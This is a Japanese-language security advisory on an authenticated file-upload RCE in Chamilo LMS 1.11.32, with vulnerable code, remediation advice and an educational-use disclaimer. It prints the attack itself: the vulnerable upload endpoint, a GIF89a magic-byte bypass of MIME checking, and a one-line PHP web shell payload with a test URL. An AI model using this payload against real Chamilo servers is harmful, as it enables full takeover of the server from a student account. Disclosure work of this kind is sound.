| フィールド | 詳細 |
|---|
| 製品 | Chamilo LMS |
| バージョン | 1.11.32(確認済み) |
| 脆弱性 | 危険なタイプのファイルを制限なくアップロード(CWE-434) |
| 影響 | 認証済みリモートコード実行(RCE) |
| CVSS v3.1 | 8.8(HIGH) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 認証要件 | ✅ あり — 学生ロール(低権限) |
| CWE | CWE-434: 危険なタイプのファイルの制限のないアップロード |
| 発見者 | MENG HOKSENG |
POST /main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=[COURSE_ID]
脆弱なファイル: main/inc/ajax/document.ajax.php
脆弱な関数: ck_uploadimage
アップロードハンドラは、PHPの mime_content_type() 関数を使用したMIMEタイプ検証のみを実行します。この関数はファイルのマジックバイト(コンテンツの先頭数バイト)を検査するものであり、ファイル拡張子は検査しません。
// 脆弱な検証ロジック(簡略化)
$mime = mime_content_type($_FILES['upload']['tmp_name']);
if (!mimeAccepted($mime, ['image'])) {
die("Invalid file type");
}
// ❌ 拡張子の検証なし
// ❌ ファイル名のサニタイズなし
move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath . $fileUploadName);
2つの別個の弱点が組み合わさり、完全な悪用チェーンを構成します:
GIF89a)をPHPコードの先頭に付加することで回避可能.php 拡張子を含む)でファイルを保存し、ウェブからアクセス可能なディレクトリに配置する悪意のあるファイルは以下のように作成されます:
GIF89a;<?php system($_GET['cmd']); ?>
mime_content_type() は GIF89a を読み取り → image/gif として分類 → 検証を通過move_uploaded_file() は /app/upload/users/<id>/ に shell.php として保存 → ブラウザから直接実行可能学生としてログインし、ファイルアップロードを自動実行する完全なエクスプロイトを実行します
Pythonの完全なエクスプロイトを実行後、アップロードしたウェブシェルを http://localhost:8081/app/upload/users/3/3/my_fileszhxoxgwj.php?cmd=id で確認できます

この脆弱性を悪用すると、学生レベルのアカウントからサーバー全体の完全な侵害につながります:
CIAへの影響: 機密性、完全性、可用性の完全な喪失。
▪ 厳格なファイル拡張子の許可リストを適用する 明示的に許可された画像ファイル拡張子(例: .jpg、.png、.gif)のみを受け付ける必要があります。 .php、.phtml、.phar などの実行可能な拡張子を持つアップロードファイルは、 MIMEタイプに関係なく拒否する必要があります。
▪ MIMEタイプ検証のみに依存しない mime_content_type() などの関数を使用したMIMEタイプチェックは、 細工されたファイルヘッダーでバイパスできるため、主要なセキュリティ制御として使用すべきではありません。 MIME検証は二次的なチェックとしてのみ使用してください。
▪ アップロードされたファイルをウェブからアクセス可能なディレクトリの外部に保存する アップロードされたコンテンツは、ウェブサーバーから直接アクセスできないディレクトリに保存する必要があります。 公開アクセスが必要な場合は、直接アクセスではなく、制御されたハンドラを通じてファイルを提供する必要があります。
MENG HOKSENG
独立系セキュリティ研究者
このプロジェクトは教育目的および許可されたセキュリティ研究目的のみで公開されています。著者は、このエクスプロイトの誤用またはそれによって生じた損害について一切の責任を負いません。セキュリティ評価を実施する前に、必ず明示的な書面による許可を取得してください。